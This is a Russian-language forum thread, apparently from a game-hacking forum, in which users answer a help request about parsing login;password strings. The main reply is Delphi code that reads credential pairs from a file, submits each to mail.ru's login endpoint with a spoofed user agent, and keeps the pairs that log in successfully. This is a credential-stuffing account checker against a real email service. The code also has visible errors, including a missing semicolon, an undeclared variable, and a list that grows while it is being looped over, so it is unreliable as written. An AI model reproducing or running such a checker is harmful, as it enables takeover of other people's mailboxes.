[Помогите!] Нужна помощь.

[ncdos]

delete/

[Slavaberezin]

отделить пароль и логин можно функциями copy и Pos
тема: http://zhyk.ru/forum/showthread.php?t=354101

[=PaLeTiZaToR=]

Цитата: Сообщение от Slavaberezin отделить пароль и логин можно функциями Sopy и Pos тема: http://zhyk.ru/forum/showthread.php?t=354101

Copy

[VeTaL_UA]

var
PostData,acc:TStringList;
s,l,p,d:String
HTTP:TIdHTTP;
Cookie:TIdCookieManager;
i:integer;
begin
acc:=TStringList.Create;
acc.LoadFromFile('accounts.txt');
HTTP:=TIdHTTP.Create(nil);
HTTP.AllowCookies:=True;
HTTP.HandleRedirects:=True;
HTTP.Request.ContentType:='application/x-www-form-urlencoded';
HTTP.Request.UserAgent:='Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1';
PostData:=TStringList.Create;
 for i:=0 to acc.Count-1 do
  begin
  Cookie:=TIdCookieManager.Create(HTTP);
  HTTP.CookieManager:=Cookie;
  l:=Copy(acc.Strings[i],0,Pos(';',accounts.Strings[i])-1);
  PostData.Add('Login='+l);
  d:=Copy(l,Pos('@',l),Length(l)-Pos('@',l)+1);
  PostData.Add('Domain='+d);
  p:=Copy(acc.Strings[i],Pos(';',acc.Strings[i])+1,Length(acc.Strings[i])-Pos(';',acc.Strings[i]));
  PostData.Add('Password='+p);
  PostData.Add('Submit=Войти в почту');
   try
   s:=HTTP.Post('http://win.mail.ru/cgi-bin/auth',PostData);
   except
   end;
   if Pos('logout',s)<>0 then
    begin
    acc.Add(l+';'+p);
    end;
  Cookie.Free;
  PostData.Clear;
  end;
PostData.Free;
HTTP.Free;
acc.SaveToFile('accounts.txt');
acc.Free;
ShowMessage('Всё окончено');
end;